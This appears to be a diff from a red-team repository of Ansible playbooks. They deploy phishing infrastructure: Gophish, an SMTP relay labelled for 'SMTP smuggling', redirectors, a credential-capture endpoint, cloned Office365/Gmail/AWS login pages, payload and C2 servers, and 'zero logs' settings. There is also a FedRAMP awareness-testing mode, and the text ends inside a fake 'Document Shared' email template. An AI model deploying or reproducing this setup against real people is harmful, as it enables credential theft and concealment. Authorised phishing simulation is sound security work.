- "Primary Domain: {{ primary_domain | default(domain) }}"
- "Phishing Domain: {{ phishing_domain | default(primary_domain) }}"
# Phase 1: Deploy core infrastructure components
- name: Deploy MTA Front server
include: mta_front.yml
when: deploy_mta_front | default(false) | bool
vars:
server_name: "mta-{{ deployment_id }}"
component_type: "mta_front"
- name: Deploy Gophish server
include: gophish_server.yml
when: deploy_gophish | default(false) | bool
vars:
server_name: "gophish-{{ deployment_id }}"
component_type: "gophish"
- name: Deploy phishing redirector
include: phishing_redirector.yml
when: deploy_phishing_redirector | default(false) | bool
vars:
server_name: "phish-redir-{{ deployment_id }}"
component_type: "phishing_redirector"
- name: Deploy phishing web server
include: phishing_webserver.yml
when: deploy_phishing_webserver | default(false) | bool
vars:
server_name: "phish-web-{{ deployment_id }}"
component_type: "phishing_webserver"
- name: Deploy payload redirector
include: payload_redirector.yml
when: deploy_payload_redirector | default(false) | bool
vars:
server_name: "payload-redir-{{ deployment_id }}"
component_type: "payload_redirector"
- name: Deploy payload server
include: payload_server.yml
when: deploy_payload_server | default(false) | bool
vars:
server_name: "payload-{{ deployment_id }}"
component_type: "payload_server"
# Phase 2: Deploy C2 infrastructure if requested
- name: Deploy C2 redirector
include: ../AWS/redirector.yml
when: deploy_c2_redirector | default(false) | bool
vars:
redirector_name: "c2-redir-{{ deployment_id }}"
- name: Deploy C2 backend
include: ../AWS/c2.yml
when: deploy_c2_backend | default(false) | bool
vars:
c2_name: "c2-{{ deployment_id }}"
# Phase 3: Configure security groups and firewall rules
- name: Configure phishing security
include_tasks: "../tasks/setup_phishing_security.yml"
vars:
deployment_components:
mta_front: "{{ deploy_mta_front | default(false) }}"
gophish: "{{ deploy_gophish | default(false) }}"
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
payload_server: "{{ deploy_payload_server | default(false) }}"
# Phase 4: Save deployment state
- name: Save phishing deployment state
template:
src: "../templates/phishing_deployment_state.j2"
dest: "phishing_deployment_{{ deployment_id }}.json"
mode: '0600'
vars:
deployment_info:
deployment_id: "{{ deployment_id }}"
deployment_type: "{{ deployment_type }}"
provider: "{{ provider }}"
components: "{{ deployment_components }}"
domains:
primary: "{{ primary_domain | default(domain) }}"
phishing: "{{ phishing_domain | default(primary_domain) }}"
created: "{{ ansible_date_time.iso8601 }}"
- name: Display deployment summary
debug:
msg:
- "Phishing Infrastructure Deployment Complete!"
- "==========================================="
- "Access your Gophish interface at: https://{{ gophish_ip }}:{{ gophish_admin_port | default(3333) }}"
- "Phishing domain: {{ phishing_domain }}"
- "Campaign ready to launch!"
when: not disable_summary | default(false)
@@ -0,0 +1,198 @@
---
# Advanced Gophish configuration with enhanced evasion and features
- name: Create Gophish user
user:
name: gophish
system: yes
shell: /bin/bash
home: /opt/gophish
create_home: yes
- name: Download latest Gophish release
get_url:
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
dest: /tmp/gophish.zip
mode: '0644'
- name: Extract Gophish
unarchive:
src: /tmp/gophish.zip
dest: /opt/gophish
owner: gophish
group: gophish
remote_src: yes
- name: Install additional packages for advanced features
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- sqlite3
- jq
- curl
- wget
- php-fpm
- php-sqlite3
- nodejs
- npm
state: present
- name: Configure advanced Gophish settings
template:
src: "../templates/phishing/gophish-advanced-config.j2"
dest: /opt/gophish/config.json
owner: gophish
group: gophish
mode: '0600'
- name: Create enhanced email templates directory
file:
path: /opt/gophish/templates/{{ item }}
state: directory
owner: gophish
group: gophish
mode: '0755'
loop:
- email
- landing
- static
- name: Deploy email templates
template:
src: "../templates/phishing/email-templates/{{ item }}.j2"
dest: "/opt/gophish/templates/email/{{ item }}.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365_login
- password_expiry
- security_alert
- file_share
when: not fedramp_mode | default(false) | bool
- name: Deploy FedRAMP compliant templates
template:
src: "../templates/phishing/fedramp-compliance.j2"
dest: "/opt/gophish/templates/email/fedramp_template.html"
owner: gophish
group: gophish
mode: '0644'
when: fedramp_mode | default(false) | bool
- name: Create advanced landing pages
template:
src: "../templates/phishing/phishing-landing-page.j2"
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365
- generic
- fedramp
vars:
template_type: "{{ item }}"
- name: Install enhanced tracking pixel
copy:
src: "../files/simple_email_tracker.py"
dest: /opt/gophish/tracker.py
owner: gophish
group: gophish
mode: '0755'
- name: Create Gophish database backup script
template:
src: "../templates/phishing/gophish-backup.sh.j2"
dest: /opt/gophish/backup.sh
owner: gophish
group: gophish
mode: '0755'
- name: Set up database backup cron
cron:
name: "Backup Gophish database"
minute: "0"
hour: "*/6"
job: "/opt/gophish/backup.sh"
user: gophish
- name: Create Gophish systemd service
template:
src: "../templates/phishing/gophish.service.j2"
dest: /etc/systemd/system/gophish.service
mode: '0644'
- name: Enable and start Gophish service
systemd:
name: gophish
state: started
enabled: yes
daemon_reload: yes
- name: Create campaign automation script
template:
src: "../templates/phishing/campaign-automation.py.j2"
dest: /opt/gophish/campaign-automation.py
owner: gophish
group: gophish
mode: '0755'
- name: Install Python dependencies for automation
pip:
name:
- requests
- python-dateutil
- jinja2
state: present
- name: Configure SMTP relay to MTA front
blockinfile:
path: /opt/gophish/config.json
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
block: |
"smtp": {
"host": "{{ mta_front_ip }}:587",
"username": "{{ smtp_relay_user }}",
"password": "{{ smtp_relay_pass }}",
"from": "{{ sender_email }}",
"ignore_cert_errors": true
}
- name: Create phishing metrics dashboard
template:
src: "../templates/phishing/metrics-dashboard.html.j2"
dest: /opt/gophish/static/metrics.html
owner: gophish
group: gophish
mode: '0644'
- name: Set up log aggregation
lineinfile:
path: /etc/rsyslog.conf
line: "local0.* /var/log/gophish.log"
state: present
notify: restart rsyslog
- name: Configure log rotation for Gophish
copy:
dest: /etc/logrotate.d/gophish
content: |
/var/log/gophish.log {
daily
missingok
rotate 30
compress
delaycompress
notifempty
create 0644 gophish gophish
}
handlers:
- name: restart rsyslog
service:
name: rsyslog
state: restarted
@@ -0,0 +1,296 @@
---
# Common tasks for configuring advanced phishing server
# Supports both red team and FedRAMP compliance modes
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install base packages for phishing server
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- postfix
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- sqlite3
- git
- curl
- wget
- jq
- unzip
- python3-pip
- python3-venv
- nodejs
- npm
- php-fpm
- php-sqlite3
- php-curl
- php-json
- swaks
- dnsutils
- net-tools
- fail2ban
state: present
- name: Create phishing tools directory
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: root
group: root
with_items:
- /root/Tools/phishing
- /root/Tools/phishing/templates
- /root/Tools/phishing/campaigns
- /root/Tools/phishing/logs
- /var/www/phishing
- /var/www/phishing/assets
- /var/www/phishing/api
- name: Set up GoPhish directory
file:
path: /root/Tools/gophish
state: directory
mode: '0755'
- name: Download latest GoPhish release
shell: |
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
curl -L "$LATEST_URL" -o /tmp/gophish.zip
unzip /tmp/gophish.zip -d /root/Tools/gophish
chmod +x /root/Tools/gophish/gophish
rm -f /tmp/gophish.zip
args:
creates: /root/Tools/gophish/gophish
- name: Create advanced GoPhish configuration
template:
src: "../templates/advanced-gophish-config.j2"
dest: "/root/Tools/gophish/config.json"
mode: '0600'
owner: root
group: root
- name: Create GoPhish systemd service
template:
src: "../templates/gophish.service.j2"
dest: "/etc/systemd/system/gophish.service"
mode: '0644'
owner: root
group: root
- name: Configure Postfix for outbound email
template:
src: "../templates/postfix-phishing.conf.j2"
dest: "/etc/postfix/main.cf"
backup: yes
notify: restart postfix
- name: Configure OpenDKIM for email authentication
template:
src: "../templates/opendkim-phishing.conf.j2"
dest: "/etc/opendkim.conf"
backup: yes
notify: restart opendkim
- name: Create DKIM keys directory
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}"
state: directory
owner: opendkim
group: opendkim
mode: '0700'
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
-d {{ phishing_domain }} -s phishing
args:
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
- name: Set DKIM key permissions
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
owner: opendkim
group: opendkim
mode: '0600'
- name: Create phishing landing page templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
- name: Create credential capture API
template:
src: "../templates/credential-capture-api.php.j2"
dest: "/var/www/phishing/api/capture.php"
mode: '0644'
owner: www-data
group: www-data
- name: Create tracking pixel endpoint
template:
src: "../templates/tracking-pixel.php.j2"
dest: "/var/www/phishing/track.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure Nginx for phishing sites
template:
src: "../templates/nginx-phishing.conf.j2"
dest: "/etc/nginx/sites-available/phishing"
mode: '0644'
notify: reload nginx
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
notify: reload nginx
- name: Create phishing campaign management scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
- name: Create database for tracking
shell: |
sqlite3 /root/Tools/phishing/tracking.db << EOF
CREATE TABLE IF NOT EXISTS email_opens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS link_clicks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
link_url TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS credential_submissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT,
username TEXT,
password_hash TEXT,
ip_address TEXT,
user_agent TEXT,
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT,
additional_data TEXT
);
CREATE TABLE IF NOT EXISTS campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
template TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active',
target_count INTEGER DEFAULT 0,
opened_count INTEGER DEFAULT 0,
clicked_count INTEGER DEFAULT 0,
submitted_count INTEGER DEFAULT 0
);
EOF
args:
creates: /root/Tools/phishing/tracking.db
- name: Set database permissions
file:
path: /root/Tools/phishing/tracking.db
owner: www-data
group: www-data
mode: '0644'
- name: Install Python dependencies for advanced features
pip:
name:
- requests
- beautifulsoup4
- lxml
- flask
- flask-cors
- dnspython
- python-whois
- selenium
- fake-useragent
state: present
- name: Create SSL certificate setup script
template:
src: "../templates/setup-phishing-ssl.sh.j2"
dest: "/root/Tools/phishing/setup-ssl.sh"
mode: '0755'
owner: root
group: root
- name: Create domain reputation checker
template:
src: "../templates/domain-reputation.py.j2"
dest: "/root/Tools/phishing/check-reputation.py"
mode: '0755'
owner: root
group: root
- name: Start and enable services
systemd:
name: "{{ item }}"
state: started
enabled: yes
daemon_reload: yes
with_items:
- postfix
- opendkim
- nginx
- php7.4-fpm
- gophish
handlers:
- name: restart postfix
systemd:
name: postfix
state: restarted
- name: restart opendkim
systemd:
name: opendkim
state: restarted
- name: reload nginx
systemd:
name: nginx
state: reloaded
@@ -0,0 +1,42 @@
{
"admin_server": {
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
"use_tls": false,
"cert_path": "",
"key_path": ""
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"logging": {
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
},
"webhook": {
"enabled": {{ enable_webhooks | default(false) | lower }},
"url": "{{ webhook_url | default('') }}",
"secret": "{{ webhook_secret | default('') }}"
},
"email": {
"smtp": {
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
"port": 25,
"use_auth": true,
"username": "{{ smtp_auth_user }}",
"password": "{{ smtp_auth_pass }}",
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
"ignore_cert_errors": true
},
"imap": {
"enabled": false
}
}
}
@@ -0,0 +1,23 @@
{
"admin_server": {
"listen_url": "0.0.0.0:{{ gophish_admin_port }}",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:8081",
"use_tls": false,
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
+51
View File
@@ -0,0 +1,51 @@
---
# Advanced Gophish server deployment with enhanced features
- name: Deploy Gophish server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}"
gophish_region: "{{ gophish_region | default(aws_region) }}"
tasks:
- name: Create Gophish instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ gophish_instance_type }}"
region: "{{ gophish_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" }
- { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" }
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
- name: Add Gophish to inventory
add_host:
name: "gophish_server"
groups: "gophish_servers"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure Gophish server
hosts: gophish_servers
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include advanced Gophish configuration
include_tasks: "../tasks/configure_gophish_advanced.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
@@ -0,0 +1,151 @@
---
# Configure MTA Front server for email relay and SMTP smuggling
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install MTA packages
apt:
name:
- postfix
- postfix-pcre
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- python3-pip
- python3-venv
- nginx
- certbot
- python3-certbot-nginx
- dnsutils
- swaks
- telnet
state: present
- name: Configure Postfix for MTA fronting
template:
src: "../templates/phishing/postfix-mta-front.j2"
dest: /etc/postfix/main.cf
backup: yes
notify: restart postfix
- name: Configure Postfix master.cf for advanced relaying
blockinfile:
path: /etc/postfix/master.cf
block: |
# SMTP smuggling and advanced relay configurations
587 inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_tls_wrappermode=no
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-o milter_macro_daemon_name=ORIGINATING
# SMTP smuggling support
cleanup unix n - y - 0 cleanup
-o header_checks=pcre:/etc/postfix/header_checks
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
- name: Create SMTP smuggling header checks
copy:
dest: /etc/postfix/header_checks
content: |
# SMTP smuggling techniques
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
mode: '0644'
notify:
- reload postfix
- postmap header_checks
- name: Create nested header checks for advanced smuggling
copy:
dest: /etc/postfix/nested_header_checks
content: |
# Advanced SMTP smuggling patterns
/^\s*<script/i IGNORE
/^\s*<iframe/i IGNORE
mode: '0644'
notify:
- reload postfix
- postmap nested_header_checks
- name: Configure DKIM for domain reputation
include_tasks: ../tasks/configure_mail.yml
- name: Create relay authentication
copy:
dest: /etc/postfix/sasl_passwd
content: |
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
mode: '0600'
owner: root
group: root
notify:
- postmap sasl_passwd
- restart postfix
- name: Configure transport maps for backend routing
copy:
dest: /etc/postfix/transport
content: |
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
mode: '0644'
notify:
- postmap transport
- restart postfix
- name: Install Python SMTP testing tools
pip:
name:
- smtplib-extended
- email-validator
- faker
state: present
- name: Create SMTP smuggling test script
template:
src: "../templates/phishing/smtp-smuggling-test.py.j2"
dest: /root/Tools/smtp-smuggling-test.py
mode: '0755'
- name: Create email reputation monitoring script
template:
src: "../templates/phishing/reputation-monitor.sh.j2"
dest: /root/Tools/reputation-monitor.sh
mode: '0755'
- name: Set up log monitoring for deliverability
cron:
name: "Monitor email deliverability"
minute: "*/15"
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
handlers:
- name: restart postfix
service:
name: postfix
state: restarted
- name: reload postfix
service:
name: postfix
state: reloaded
- name: postmap header_checks
command: postmap /etc/postfix/header_checks
- name: postmap nested_header_checks
command: postmap /etc/postfix/nested_header_checks
- name: postmap sasl_passwd
command: postmap /etc/postfix/sasl_passwd
- name: postmap transport
command: postmap /etc/postfix/transport
@@ -0,0 +1,71 @@
# Postfix MTA Front Configuration for Phishing Infrastructure
# This server acts as the front-end mail relay
# Basic settings
myhostname = {{ mta_hostname | default('mail.' + domain) }}
mydomain = {{ domain }}
myorigin = $mydomain
mydestination = $myhostname, localhost
inet_interfaces = all
inet_protocols = ipv4
# Network settings
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
relay_domains = $mydestination
# SMTP smuggling mitigation
smtpd_forbid_bare_newline = yes
smtpd_forbid_bare_newline_reject_code = 550
# TLS Configuration
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
smtpd_use_tls = yes
smtpd_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_security_level = may
# SASL Authentication
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_authenticated_header = yes
# Restrictions
smtpd_helo_required = yes
smtpd_recipient_restrictions =
permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
reject_unauth_pipelining,
reject_invalid_helo_hostname,
reject_non_fqdn_helo_hostname
# Rate limiting
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
# Message size and queue settings
message_size_limit = {{ max_message_size | default(10240000) }}
mailbox_size_limit = 0
queue_lifetime = 1h
maximal_queue_lifetime = 1h
bounce_queue_lifetime = 0
# Header modifications
header_checks = regexp:/etc/postfix/header_checks
# DKIM signing
milter_default_action = accept
milter_protocol = 6
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
# Logging
{% if zero_logs | default(true) %}
# Zero-logs configuration
syslog_facility = local0
syslog_name =
maillog_file = /dev/null
{% endif %}
+51
View File
@@ -0,0 +1,51 @@
---
# MTA Front server deployment for email relay and SMTP smuggling
- name: Deploy MTA Front server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
mta_instance_type: "{{ mta_instance_type | default('t3.medium') }}"
mta_region: "{{ mta_region | default(aws_region) }}"
tasks:
- name: Create MTA Front instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ mta_instance_type }}"
region: "{{ mta_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 25, cidr: "0.0.0.0/0", desc: "SMTP from anywhere" }
- { proto: tcp, port: 587, cidr: "0.0.0.0/0", desc: "SMTP submission" }
- { proto: tcp, port: 465, cidr: "0.0.0.0/0", desc: "SMTPS" }
- name: Add MTA Front to inventory
add_host:
name: "mta_front"
groups: "mta_fronts"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure MTA Front server
hosts: mta_fronts
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include MTA Front configuration
include_tasks: "../tasks/configure_mta_front.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
+46
View File
@@ -0,0 +1,46 @@
---
# Phishing redirector deployment with advanced evasion
- name: Deploy phishing redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
redirector_instance_type: "{{ redirector_instance_type | default('t3.small') }}"
redirector_region: "{{ redirector_region | default(aws_region) }}"
tasks:
- name: Create phishing redirector instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ redirector_instance_type }}"
region: "{{ redirector_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 80, cidr: "0.0.0.0/0", desc: "HTTP from anywhere" }
- { proto: tcp, port: 443, cidr: "0.0.0.0/0", desc: "HTTPS from anywhere" }
- name: Add phishing redirector to inventory
add_host:
name: "phishing_redirector"
groups: "phishing_redirectors"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure phishing redirector
hosts: phishing_redirectors
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include phishing redirector configuration
include_tasks: "../tasks/configure_phishing_redirector.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
+50
View File
@@ -0,0 +1,50 @@
---
# Phishing web server for credential harvesting
- name: Deploy phishing web server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
webserver_instance_type: "{{ webserver_instance_type | default('t3.medium') }}"
webserver_region: "{{ webserver_region | default(aws_region) }}"
tasks:
- name: Create phishing web server instance
include_tasks: "../tasks/create_instance.yml"
vars:
instance_name: "{{ server_name }}"
instance_type: "{{ webserver_instance_type }}"
region: "{{ webserver_region }}"
security_group_rules:
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
- { proto: tcp, port: 443, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTPS from redirector" }
- name: Add phishing web server to inventory
add_host:
name: "phishing_webserver"
groups: "phishing_webservers"
ansible_host: "{{ instance_ip }}"
ansible_user: "{{ ansible_user | default('ubuntu') }}"
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
- name: Configure phishing web server
hosts: phishing_webservers
become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- name: Include phishing web server configuration
include_tasks: "../tasks/configure_phishing_webserver.yml"
- name: Include security hardening
include_tasks: "../tasks/security_hardening.yml"
- name: Include tracker setup
include_tasks: "../tasks/configure_integrated_tracker.yml"
when: deploy_tracker | default(true) | bool
@@ -0,0 +1,111 @@
---
# FedRAMP compliance configuration for user awareness testing
- name: Create FedRAMP compliant landing pages
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
- { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
- { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
- name: Create FedRAMP compliant email templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
- { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
- name: Configure anonymized reporting
template:
src: "../templates/fedramp-reporting.py.j2"
dest: "/root/Tools/phishing/fedramp-reporting.py"
mode: '0755'
owner: root
group: root
- name: Create role-based tracking system
template:
src: "../templates/role-tracking.py.j2"
dest: "/root/Tools/phishing/role-tracking.py"
mode: '0755'
owner: root
group: root
- name: Set up immediate phish identification
template:
src: "../templates/immediate-identification.js.j2"
dest: "/var/www/phishing/assets/immediate-identification.js"
mode: '0644'
owner: www-data
group: www-data
- name: Create educational content delivery system
template:
src: "../templates/education-delivery.php.j2"
dest: "/var/www/phishing/api/education.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure compliance database schema
shell: |
sqlite3 /root/Tools/phishing/compliance.db << EOF
CREATE TABLE IF NOT EXISTS fedramp_campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
csp_organization TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active'
);
CREATE TABLE IF NOT EXISTS role_interactions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
user_role TEXT NOT NULL,
interaction_type TEXT NOT NULL,
interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
education_completed BOOLEAN DEFAULT FALSE
);
CREATE TABLE IF NOT EXISTS compliance_metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
metric_type TEXT NOT NULL,
metric_value INTEGER NOT NULL,
recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
EOF
args:
creates: /root/Tools/phishing/compliance.db
- name: Set database permissions for compliance
file:
path: /root/Tools/phishing/compliance.db
owner: www-data
group: www-data
mode: '0644'
- name: Create compliance report generator
template:
src: "../templates/compliance-report-generator.py.j2"
dest: "/root/Tools/phishing/generate-compliance-report.py"
mode: '0755'
owner: root
group: root
- name: Configure email allowlisting instructions
template:
src: "../templates/allowlist-instructions.md.j2"
dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
mode: '0644'
owner: root
group: root
@@ -0,0 +1,118 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document Shared</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
